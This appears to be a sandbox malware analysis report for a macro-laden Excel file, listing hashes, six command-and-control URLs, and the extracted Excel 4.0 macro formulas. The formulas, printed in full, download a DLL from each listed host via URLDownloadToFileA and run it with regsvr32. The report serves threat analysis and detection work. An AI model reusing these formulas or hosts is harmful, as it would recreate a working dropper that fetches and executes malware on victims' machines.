General

  • Target
    ?i=1ydceoyhl
  • Size 50KB
  • Sample220507-es8b9aebak
  • SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2
  • http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

  • http://hoatuoiso1.com/replace/fVea/

  • https://rumkeke.com/wp-admin/A8/

  • https://www.restaurantgaig.com/wp-includes/HLDoANj/

  • http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/

  • http://www.hiway91.com/wp-content/Y/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

File Explorer

  • ?i=1ydceoyhl
    .xlsm 50KB

?i=1ydceoyhl

  • SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
  • MD5 SHA1 SHA512 SSDEEP
  • Suspicious Office macro

    Office document equipped with 4.0 macros.